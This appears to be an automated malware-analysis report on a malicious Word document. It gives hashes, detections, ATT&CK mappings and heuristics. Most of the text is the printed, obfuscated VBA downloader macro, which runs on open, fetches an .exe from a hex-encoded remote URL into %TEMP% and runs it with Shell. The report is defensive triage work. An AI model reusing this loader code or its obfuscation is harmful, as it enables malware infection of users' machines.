Office (OLE) malware analysis — malicious · 2471f4a0febbfede

MALICIOUS

Office (OLE)

67.5 KB Created: 2014-10-19 16:53:00 Authoring application: Microsoft Office Word First seen: 2014-11-01

MD5: beb25dc0d73e289432fc624610b103c9 SHA-1: 4a0f2119a982444309d4a55c70f1320bad8aedcc SHA-256: 2471f4a0febbfede40f5d700553eb28d97519ac49454bcc79f0fb7383559198b

334 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains heavily obfuscated VBA macros, including an Auto_Open subroutine, designed to execute arbitrary code. The script attempts to write binary data to files and likely downloads a second-stage payload using reconstructed URLs. The presence of CreateObject and Shell calls, along with the ClamAV detection, strongly indicates a downloader functionality.

Heuristics 12

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
VBA macros detected medium 8 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    VKSTZEIQOSP = Shell(HNRAZHCBCUV, 1)
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set RKOTAYEKGNL = CreateObject(hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("4D") + "SXML2.XMLHTT" + "P")
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

    Set RKOTAYEKGNL = CreateObject(hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("4D") + "SXML2.XMLHTT" + "P")

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

    ZYRBWVLOAHJ hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("687474703A2F2F6770736261682E636F6D2F696D616765732F312E657865"), Environ("TEMP") & "\SHXPQCJGTOH.com"

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	32236 bytes
SHA-256: `cb8f48d318fe225cb5967fa0b94f4e972e562e68b5e57009f925c86cbde9816e`
Detection ClamAV: No threats found Obfuscation or payload: likely 81 of 162 identifiers look randomly generated (e.g. 'C71716F647775727579717A676F7078687172686') — consistent with name-mangling obfuscation. Carved artifact contains 47 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Auto_Open() GoTo ytrukhnaojtkfjlultlyckealyzkdumzrlllmwtuhsbvwudcmxcmymxbnxbgybmagdwcppdlwsnojls Dim vcmshvngaavlbucmxvywmbzsojixtazoygxmjkfqsdfknvnpjrodnhqybqvwotkohzhqgjvkggixyiv As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("736566616167716A787270786E646178656C6C6D706B77767A6A756C696876676B6267656B766D65667A67727A68616B66796F726C6D7565696D65616D76646B787673747A66737467647A6E71676E") For Binary As #95469 Put #95469, , vcmshvngaavlbucmxvywmbzsojixtazoygxmjkfqsdfknvnpjrodnhqybqvwotkohzhqgjvkggixyiv Close #95469 ytrukhnaojtkfjlultlyckealyzkdumzrlllmwtuhsbvwudcmxcmymxbnxbgybmagdwcppdlwsnojls: GoTo chzagiljzsothhajadprvhyognoxzqazbhmxinlqhlfwnaildphnqdaasrwejrvptbqjjmwqkvmqukg Dim douhxlzopccdxbvwnwoduiogwgtilpwnvjezyzlkciswvpkhaoishfjwcockyipcvkgsktjgefetxha As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("776A796E68747070687A6377656563777A6E6C6A74766E6B786D667975617362656663716B6576787274787668706673616C7868796E6A6D767274767461636B6866647370716462626665776E6571") For Binary As #63374 Put #63374, , douhxlzopccdxbvwnwoduiogwgtilpwnvjezyzlkciswvpkhaoishfjwcockyipcvkgsktjgefetxha Close #63374 chzagiljzsothhajadprvhyognoxzqazbhmxinlqhlfwnaildphnqdaasrwejrvptbqjjmwqkvmqukg: GoTo jblinrdlftuhphgobjyhymyajznswqalidcaqoftcrkkseuneycvhdbzemmzdjotynipdjhpbooygzf Dim ytrukhnaojtkfjlultlyckealyzkdumzrlllmwtuhsbvwudcmxcmymxbnxbgybmagdwcppdlwsnojls As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("756D706A6769767665706772676B796B6A6369677566647A7677776F787065736F756F676E76747A6B616362706A636E617273767962636F6771706B71697465636464646D69626F646F756C726375") For Binary As #27113 Put #27113, , ytrukhnaojtkfjlultlyckealyzkdumzrlllmwtuhsbvwudcmxcmymxbnxbgybmagdwcppdlwsnojls Close #27113 jblinrdlftuhphgobjyhymyajznswqalidcaqoftcrkkseuneycvhdbzemmzdjotynipdjhpbooygzf: AJMLBVAWVNS End Sub Sub AutoOpen() GoTo dnvjwlvnxgtibifdovmgagaqxjdxxoayfmhmfrwebcilplughadfhixzrvkxbdqubfwqsjlasurspxn Dim qyahzspilbrplokadfpyltnqvabaebmamgzkpjxtkqjbardazjdkytobmohhlxidtkgrozhouazgxqv As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6462707372636D6B7A77757666666D676167636D7064717266686274777A7064626F736A6A77797668667A687A676E666F656A666A796E667363646E776368756978796862696B66616868767A7271") For Binary As #46181 Put #46181, , qyahzspilbrplokadfpyltnqvabaebmamgzkpjxtkqjbardazjdkytobmohhlxidtkgrozhouazgxqv Close #46181 dnvjwlvnxgtibifdovmgagaqxjdxxoayfmhmfrwebcilplughadfhixzrvkxbdqubfwqsjlasurspxn: GoTo emntskbkmnvmhoxmqnxzvqkkrcbididipmygpujqwbyhiviwjxnqoxwosnjyukuinqslsauzdfuicdt Dim qocqmqyszisyhtoglvfplkxfgrakfrnghysntazxltwizrsjlzrtgifdfmigwxwulxrhgrxlzjrzuve As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6F6474716F79646369696B716170717175656D646F6F6A7A7A7070766B626D76626B7767797A6E666A6765747A7373667066616F73757462656676666869736F777665627377756863646F69637270") For Binary As #33494 Put #33494, , qocqmqyszisyhtoglvfplkxfgrakfrnghysntazxltwizrsjlzrtgifdfmigwxwulxrhgrxlzjrzuve Close #33494 emntskbkmnvmhoxmqnxzvqkkrcbididipmygpujqwbyhiviwjxnqoxwosnjyukuinqslsauzdfuicdt: Auto_Open End Sub Sub Workbook_Open() GoTo oaojpsjthakdyvtwaiumfsqnvhjqlpkmzscstsdpubekhsjhoiaitaennuddtmalvfaaahudigpkxve Dim lwzyzevcmxggtzukrkamobcieixzrwxssoluhhmjidfeqkmsacbphfxdduspejqnekgdtzsnipuwluj As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6C616B6E7162686E7168697671666670627573716D756C76637377746C6576756666707A76757174726C7A73737174676F786F696F76727566786C65777471787773636971756E666F726173657A76") For Binary As #63411 Put #63411, , lwzyzevcmxggtzukrkamobcieixzrwxssoluhhmjidfeqkmsacbphfxdduspejqnekgdtzsnipuwluj Close #63411 oaojpsjthakdyvtwaiumfsqnvhjqlpkmzscstsdpubekhsjhoiaitaennuddtmalvfaaahudigpkxve: GoTo cvriputahksmcdzisdbaymoxhqevnlwxhnrpfeyhzhofukceljvvcbydtpbszasyoavnjrlrwsojozq Dim chzagiljzsothhajadprvhyognoxzqazbhmxinlqhlfwnaildphnqdaasrwejrvptbqjjmwqkvmqukg As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("757662646E6C6165736D79756A6567667366686175716A61746D6B776466747665687179676479656A766F666D6A766F656D6F756E786C6561646B6C6B697A6261757A7172766B616E657678706C61") For Binary As #19916 Put #19916, , chzagiljzsothhajadprvhyognoxzqazbhmxinlqhlfwnaildphnqdaasrwejrvptbqjjmwqkvmqukg Close #19916 cvriputahksmcdzisdbaymoxhqevnlwxhnrpfeyhzhofukceljvvcbydtpbszasyoavnjrlrwsojozq: GoTo dkarhocikkcabhvnudoertjktzcjbjyqiskcrmebsgqalnvlabnecjckkqhjlizbzenqqzayvljgwvr Dim oaojpsjthakdyvtwaiumfsqnvhjqlpkmzscstsdpubekhsjhoiaitaennuddtmalvfaaahudigpkxve As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("79746C71716F647775727579717A676F70786871726863666F74756D706F6F6B6A616775646C6F6172776D7A6565657865686D617562626C74786F6C7369636D627A796F7466646571696F656B6D72") For Binary As #77273 Put #77273, , oaojpsjthakdyvtwaiumfsqnvhjqlpkmzscstsdpubekhsjhoiaitaennuddtmalvfaaahudigpkxve Close #77273 dkarhocikkcabhvnudoertjktzcjbjyqiskcrmebsgqalnvlabnecjckkqhjlizbzenqqzayvljgwvr: Auto_Open End Sub Function ZYRBWVLOAHJ(ByVal WCQMMXHRIKW As String, ByVal HNRAZHCBCUV As String) As Boolean Dim RKOTAYEKGNL As Object, DZHZCTKOBFY As Long, CQEKWVEMYEO As Long, BLFXSWIMXEI() As Byte GoTo myrzhzqbigqowblegrdnphmgumpahfotdisbqixiyfjiibwafokxvpubuqtcmsaxmudvktenazemmzg Dim ufvxmfwtmbajhgpffdkpcbkqsnhztpzvkeyxzzskquiqfymbfgxbsouctmnssbcccthhqmniweddeds As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7070686D67746B7564636F636F75737A6F65686F6C657176786774627263716268616E64736A676D78736E6A776B6B6A626F6F79746561617671777A70686874756E6E757376726C6E6B7774626E62") For Binary As #65541 Put #65541, , ufvxmfwtmbajhgpffdkpcbkqsnhztpzvkeyxzzskquiqfymbfgxbsouctmnssbcccthhqmniweddeds Close #65541 myrzhzqbigqowblegrdnphmgumpahfotdisbqixiyfjiibwafokxvpubuqtcmsaxmudvktenazemmzg: GoTo uvpbscfxmhivrnmhwwdcjjufvmdfphhwhbhxkapvygxaadgobwxumprvussrcqubzjbhkjkdvsuyzme Dim vrvcqymrynynbaffvocgtutfnzblqegvadpfbxdnbzwuljpteixzluqadvmbjabqqwoqbzgzwevocyq As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6E6E64746A61626C6C77686662617178786D66786B7767626569757A64796F666871736D76686473617071696F627769726C61696C74777A6C656361647A65636177717567696D6473737471737376") For Binary As #9996 Put #9996, , vrvcqymrynynbaffvocgtutfnzblqegvadpfbxdnbzwuljpteixzluqadvmbjabqqwoqbzgzwevocyq Close #9996 uvpbscfxmhivrnmhwwdcjjufvmdfphhwhbhxkapvygxaadgobwxumprvussrcqubzjbhkjkdvsuyzme: GoTo odoyusnrpwhfchtljgflazbiwzvfoxklfuybecxpncliphzfjpbiaoqtvgdapnhpihkahmifvrnvxck Dim myrzhzqbigqowblegrdnphmgumpahfotdisbqixiyfjiibwafokxvpubuqtcmsaxmudvktenazemmzg As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("796A616C786F6D66746462616A61766D6D6C626A736F726E6A7261636A70736F6E6B65777475757677687763797666766A63746E7977716D6379686370666768766E6C717A71617970676962777774") For Binary As #2433 Put #2433, , myrzhzqbigqowblegrdnphmgumpahfotdisbqixiyfjiibwafokxvpubuqtcmsaxmudvktenazemmzg Close #2433 odoyusnrpwhfchtljgflazbiwzvfoxklfuybecxpncliphzfjpbiaoqtvgdapnhpihkahmifvrnvxck: Set RKOTAYEKGNL = CreateObject(hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("4D") + "SXML2.XMLHTT" + "P") GoTo duezjihfgzungakopdsycdetuuwqkflqjyqirmnygbweiekyemjjzbvrgcjekpdudonxqpxzdoobycc Dim xovyvnmnpybnrgpagcbshhlkrnaajaubcvxrbhscpuzemxqrronlrqmdxykcvnewfkgjzkfnlnmskly As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6F6C78776B796864706D6D62666569646C6E6B686668756E66786B617A767572676D67776672616B71716165756971736E7274707364736A64716C6F79667072656F6F6763666F64657570687A7369") For Binary As #27344 Put #27344, , xovyvnmnpybnrgpagcbshhlkrnaajaubcvxrbhscpuzemxqrronlrqmdxykcvnewfkgjzkfnlnmskly Close #27344 duezjihfgzungakopdsycdetuuwqkflqjyqirmnygbweiekyemjjzbvrgcjekpdudonxqpxzdoobycc: GoTo bhyxxtvjryvwxjcefgysdsgntplgbryjzqmblsaxxycorowuhjlpldxoeotwbtjuluesfmdvzncfnmw Dim cvriputahksmcdzisdbaymoxhqevnlwxhnrpfeyhzhofukceljvvcbydtpbszasyoavnjrlrwsojozq As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("636875786A647275706A7A786570766C7171796A74646E787462727471727A6B6F6263737A767263746F6A6B6D766E6C7964716E716D677769656775786870706A797464647777656A726F67696E79") For Binary As #19244 Put #19244, , cvriputahksmcdzisdbaymoxhqevnlwxhnrpfeyhzhofukceljvvcbydtpbszasyoavnjrlrwsojozq Close #19244 bhyxxtvjryvwxjcefgysdsgntplgbryjzqmblsaxxycorowuhjlpldxoeotwbtjuluesfmdvzncfnmw: GoTo hxhfitfdcsickxspkhncxkfjswllfqvybxxtaiamrabefqapozfdzjrklgwgkochrryuojtlseaxbec Dim duezjihfgzungakopdsycdetuuwqkflqjyqirmnygbweiekyemjjzbvrgcjekpdudonxqpxzdoobycc As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6364656C707762646668746978636B7566736E707A7470667A6C77687162697A7368706E70647364766E756C7A756E6F6D656D666E7878726D75797A726B6672746E6B7866756D7376736E79777971") For Binary As #66300 Put #66300, , duezjihfgzungakopdsycdetuuwqkflqjyqirmnygbweiekyemjjzbvrgcjekpdudonxqpxzdoobycc Close #66300 hxhfitfdcsickxspkhncxkfjswllfqvybxxtaiamrabefqapozfdzjrklgwgkochrryuojtlseaxbec: RKOTAYEKGNL.Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("474554"), WCQMMXHRIKW, False GoTo cjuvtbrpoqqwcoermkukmkbpnvgkdbnypsuyrnuobywxgbdidfpgetyilhxtgtevylwntmaahxeqqcv Dim fpwsfibfiftneqjunuubpzmjgdafihlzoddtwzuytvlxduxtadfkkuxsswjleojmvzhxyrcxlanryxp As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("78736C666B7269636C66726A697A67797A747670767476736474776A656D746C7A65776C6A636F79767766636B6F6371637066776D756B75786C6D64766F6579687474706E776A7A6B67747767676E") For Binary As #44765 Put #44765, , fpwsfibfiftneqjunuubpzmjgdafihlzoddtwzuytvlxduxtadfkkuxsswjleojmvzhxyrcxlanryxp Close #44765 cjuvtbrpoqqwcoermkukmkbpnvgkdbnypsuyrnuobywxgbdidfpgetyilhxtgtevylwntmaahxeqqcv: GoTo wwpeaskqznogrlmjugnxzidbarnilmqpdapnskwqtdyliaksfmtjsoafhszugjgojthhfzfchvnhbzc Dim mdwjtezhoofjfnipszblwhhylmqxprdqgmjgdqsgsciiyfobzpuwzeocvkiewuedqhkvxhpqmowkjpx As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("68776E7062706C7A6B66716F7470686E706B667761766B776F6265756962616C6777796E6361666D696D6B6975756474716B777A6779696764696B7677626A627178676568667862686C6D726A617A") For Binary As #4346 Put #4346, , mdwjtezhoofjfnipszblwhhylmqxprdqgmjgdqsgsciiyfobzpuwzeocvkiewuedqhkvxhpqmowkjpx Close #4346 wwpeaskqznogrlmjugnxzidbarnilmqpdapnskwqtdyliaksfmtjsoafhszugjgojthhfzfchvnhbzc: GoTo yrfgrghzyooxujmzsdsgffgjatwplzwcmpavjjcrxpdirkzxbifaucspdzerylomowotqtstkjqjqiv Dim cjuvtbrpoqqwcoermkukmkbpnvgkdbnypsuyrnuobywxgbdidfpgetyilhxtgtevylwntmaahxeqqcv As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6E70696B616B6E7467716865657A726B73707A726E6D677A637474646E646D6C7A726E7467726C68697073647367796D6A717378777271646E6D78756F6C7167616168616F7672766C726E786E7369") For Binary As #32363 Put #32363, , cjuvtbrpoqqwcoermkukmkbpnvgkdbnypsuyrnuobywxgbdidfpgetyilhxtgtevylwntmaahxeqqcv Close #32363 yrfgrghzyooxujmzsdsgffgjatwplzwcmpavjjcrxpdirkzxbifaucspdzerylomowotqtstkjqjqiv: RKOTAYEKGNL.Send "send request" GoTo pnqcvsyhdeeumchtzhqyebsgthnxybosjwtyxvwyhyiskzbguekitvzzdyiwywpkqelzoayktqgvvgj Dim jcqlsrwqifohevhzozscolakpjlkskmmjydfebetrywnulfmvrmcpemgtwmvbkrfxbqovrhoilwmfxj As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6A6B786A71617868706466747663696A726D7463686B737A766C6C6B756C6E7A796F65637A6A706A6D6B696F716C73767875736E7A716A6A65786F61646D6F6F69676D666B71717476766862617579") For Binary As #23827 Put #23827, , jcqlsrwqifohevhzozscolakpjlkskmmjydfebetrywnulfmvrmcpemgtwmvbkrfxbqovrhoilwmfxj Close #23827 pnqcvsyhdeeumchtzhqyebsgthnxybosjwtyxvwyhyiskzbguekitvzzdyiwywpkqelzoayktqgvvgj: GoTo rajvfnadbojtpjrcxkanikckwpwdoakhjbhajvquohxlvbjwedkbttlnmrwflcpwhlxpmjoexdtclbj Dim fekfhkiwiefypgyphnwmfdlamfbrvpxkyypymajfperrmfmkxkgahipdfrqzhfsaxrnxtzfkxiwnvid As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("636E6B7A6F6471716962736A6C6D796969626B6764797575647662716272666F716873636766776F77726F71646B6977717A6262717475646D6A70646570736E68706B786B696C7575616975707169") For Binary As #62497 Put #62497, , fekfhkiwiefypgyphnwmfdlamfbrvpxkyypymajfperrmfmkxkgahipdfrqzhfsaxrnxtzfkxiwnvid Close #62497 rajvfnadbojtpjrcxkanikckwpwdoakhjbhajvquohxlvbjwedkbttlnmrwflcpwhlxpmjoexdtclbj: GoTo pusewazmyocsuzbbchydfogkyipczvssygsrkqiwzegxmafkxantaojvyxfmanbfyyceorewitvznow Dim pnqcvsyhdeeumchtzhqyebsgthnxybosjwtyxvwyhyiskzbguekitvzzdyiwywpkqelzoayktqgvvgj As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("776264776463736E796C627070636E6D786677756B7A7172756C65666672717A79706D61696E77627A69796D66766372686B6E6C66686C70797765746275796B776F6965616379696268696A787268") For Binary As #75171 Put #75171, , pnqcvsyhdeeumchtzhqyebsgthnxybosjwtyxvwyhyiskzbguekitvzzdyiwywpkqelzoayktqgvvgj Close #75171 pusewazmyocsuzbbchydfogkyipczvssygsrkqiwzegxmafkxantaojvyxfmanbfyyceorewitvznow: Do While RKOTAYEKGNL.readyState <> 4 GoTo rasprjgycanqqzbaxrbzpqfqgibuayhaszvxfvobweszdxpoetxfumbyjhchhvkyjxvwkhksoaaxdrn Dim fefmyuxvyzcwlimbhfkxjhiszsemgjpdqqlkcayeeizvjaryxpohkdjpwgxcfgugcbmrxzznpybbihx As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7267686A6B7A706771677866777573766970796B6E666C6E7167706F7A74746370757071627A6772656163687964766F7967746664706F7A7578736D7666756E6B676E796F756C61617A7479737A77") For Binary As #49574 Put #49574, , fefmyuxvyzcwlimbhfkxjhiszsemgjpdqqlkcayeeizvjaryxpohkdjpwgxcfgugcbmrxzznpybbihx Close #49574 rasprjgycanqqzbaxrbzpqfqgibuayhaszvxfvobweszdxpoetxfumbyjhchhvkyjxvwkhksoaaxdrn: GoTo csejeubmgsbaqcprtfnpllzglqpeirerasnemanjesecyuxqreibvjwjlvncdnwljfwnoaqtbzgwood Dim ftjedklwfcsymtyieeblaxvptiykhxxindewbxngsqqcrkrjqwaapkiissqowdhwuthxptglsmitvun As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("736C6C6378767463777A6462736A756F6A75626370727966656365616D696E617374637872646D6773756D706168737379736B687A766668726F617362636C7A6D717A636A71656361636177796F71") For Binary As #54763 Put #54763, , ftjedklwfcsymtyieeblaxvptiykhxxindewbxngsqqcrkrjqwaapkiissqowdhwuthxptglsmitvun Close #54763 csejeubmgsbaqcprtfnpllzglqpeirerasnemanjesecyuxqreibvjwjlvncdnwljfwnoaqtbzgwood: GoTo blwnacpovkrkpdjylbmhdcapcgrrustwmzkydcasvpmeholcxxpnbhjbumnqatmffdxzizoybhyoprm Dim rasprjgycanqqzbaxrbzpqfqgibuayhaszvxfvobweszdxpoetxfumbyjhchhvkyjxvwkhksoaaxdrn As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("70696A6F6C74756975657A63776A6463656E6F6C657A636768697666667A7174637268686665726D656473626267786B6C7563746D7A64656D7871637468736778626F756364726B6F6E666E626D61") For Binary As #59143 Put #59143, , rasprjgycanqqzbaxrbzpqfqgibuayhaszvxfvobweszdxpoetxfumbyjhchhvkyjxvwkhksoaaxdrn Close #59143 blwnacpovkrkpdjylbmhdcapcgrrustwmzkydcasvpmeholcxxpnbhjbumnqatmffdxzizoybhyoprm: DoEvents GoTo vzazlvjhyimlihvsylasdhhqfzamgnpkfiddlreqpgjneprzowxswyemaxvrryfleomqmrcjncqhtom Dim cdkdxbsedwuvalfotlcteedjdlhnmmqkcbyhcmhtgkphxejirvffnpnvyylbaamrkyeommngciiqehx As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("697A776875697A69716C726E73796A7979716C7366757A75657163746C7A637771766E6E7166657568636A6D766F746D7866796379776A6C74676A7873677669786B7678677663637268797A796A69") For Binary As #83653 Put #83653, , cdkdxbsedwuvalfotlcteedjdlhnmmqkcbyhcmhtgkphxejirvffnpnvyylbaamrkyeommngciiqehx Close #83653 vzazlvjhyimlihvsylasdhhqfzamgnpkfiddlreqpgjneprzowxswyemaxvrryfleomqmrcjncqhtom: GoTo iqfxcxnkcehxkrwxmetuqgbxsvncxjmgirpqfyyulxigkbyxeovrnpqhkofefqkloueipzfqudtebcy Dim uvpbscfxmhivrnmhwwdcjjufvmdfphhwhbhxkapvygxaadgobwxumprvussrcqubzjbhkjkdvsuyzme As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7875687579666D6671756A63716372637563696679746477787461616E6C6E68637875756D796264716472786862646A657A6573766C7172736B64706A6876627566706F656679676A647470726679") For Binary As #75793 Put #75793, , uvpbscfxmhivrnmhwwdcjjufvmdfphhwhbhxkapvygxaadgobwxumprvussrcqubzjbhkjkdvsuyzme Close #75793 iqfxcxnkcehxkrwxmetuqgbxsvncxjmgirpqfyyulxigkbyxeovrnpqhkofefqkloueipzfqudtebcy: GoTo nsdvwxuwxbxzuqnvieofikotedblfdbzosyltdnnztwtqdabywjbbppynzrvoslqdjyrcauokptdxba Dim vzazlvjhyimlihvsylasdhhqfzamgnpkfiddlreqpgjneprzowxswyemaxvrryfleomqmrcjncqhtom As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("66726B686564697469797A67646666637676776D756C6B6E7764756B79666179696F72737066776D666C696D686766756C6B74686A67646C6368616F75657A68646B63696D6C7A637A6E6766757471") For Binary As #73343 Put #73343, , vzazlvjhyimlihvsylasdhhqfzamgnpkfiddlreqpgjneprzowxswyemaxvrryfleomqmrcjncqhtom Close #73343 nsdvwxuwxbxzuqnvieofikotedblfdbzosyltdnnztwtqdabywjbbppynzrvoslqdjyrcauokptdxba: Loop GoTo zezpomlpnoayxqufljxqycqcpdzrinexomafiwjkagrhuykkfzqttvidxfoqvewzkxvfdtwyjwdzasq Dim mhhwzzyodwzfaxscjrkrwmdkietswsatwqucvfarfaxqkgifljnoqyfaauswruhigpuykmlafnfvshl As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("637970616477776C67717367656B79666B756B746D6566706A77686E74616B64676162626471746A6F616D6E79726874716D686B6D69676E726E737368706661667673647162646D6168656B6C6173") For Binary As #46954 Put #46954, , mhhwzzyodwzfaxscjrkrwmdkietswsatwqucvfarfaxqkgifljnoqyfaauswruhigpuykmlafnfvshl Close #46954 zezpomlpnoayxqufljxqycqcpdzrinexomafiwjkagrhuykkfzqttvidxfoqvewzkxvfdtwyjwdzasq: GoTo dxytoleohhzdsjclgbherlhbnpfeoxwkjxgirtalgynzlvxguztdpxgmpjcgzuvgiqedtkjgorosxgb Dim wwpeaskqznogrlmjugnxzidbarnilmqpdapnskwqtdyliaksfmtjsoafhszugjgojthhfzfchvnhbzc As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7A6E726E736778716E77767170627A657463657962706D6B78736A6D7A7775677473736F72736F6A786A6D73796976666A6878667772637769737966786F70737761686D65696973666E7876716F77") For Binary As #99961 Put #99961, , wwpeaskqznogrlmjugnxzidbarnilmqpdapnskwqtdyliaksfmtjsoafhszugjgojthhfzfchvnhbzc Close #99961 dxytoleohhzdsjclgbherlhbnpfeoxwkjxgirtalgynzlvxguztdpxgmpjcgzuvgiqedtkjgorosxgb: GoTo shaglofixbnaicvaqygducpumhgeygymjtunyhzvpjrocxwwexswlybpwxgqfiytmwoqfmmyummuwnu Dim zezpomlpnoayxqufljxqycqcpdzrinexomafiwjkagrhuykkfzqttvidxfoqvewzkxvfdtwyjwdzasq As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6C6B75616E626C6865756C77727665777573716565666F7368646D6F7A65726A7763656D656C656F75746C6D626D6364626767706F71616E786D786D7A6161796576736E667161616C6E7369716B78") For Binary As #34232 Put #34232, , zezpomlpnoayxqufljxqycqcpdzrinexomafiwjkagrhuykkfzqttvidxfoqvewzkxvfdtwyjwdzasq Close #34232 